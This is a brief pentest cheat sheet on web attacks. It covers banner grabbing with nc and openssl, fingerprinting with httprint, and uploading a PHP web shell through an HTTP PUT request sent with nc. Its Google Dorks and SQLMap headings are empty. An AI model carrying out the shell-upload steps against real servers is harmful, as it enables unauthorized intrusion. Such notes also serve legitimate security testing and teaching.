Web Attacks
Banner grabbing
nc -v <target> <port>
HEAD / HTTP/1.0HTTPS services
openssl s_client -connect <target>:<port>
HEAD / HTTP/1.0Fingerpriting with Httprint
httprint -P0 -h <target> -s <signature file>HTTP Verbs
GET, POST, HEAD, PUT, DELETE, OPTIONSUsing PUT to upload shell
# Get the content length of the shell
wc -m shell.php
<payload content length output>
# Then using nc to upload with the PUT method
nc <target> <port>
PUT /payload.php HTTP/1.0
Content-type: text/html
Content-length: <length of payload>Directory and File Enumeration
Google Dorks
Command
Meaning
SQL Injection with SQLMap
Last updated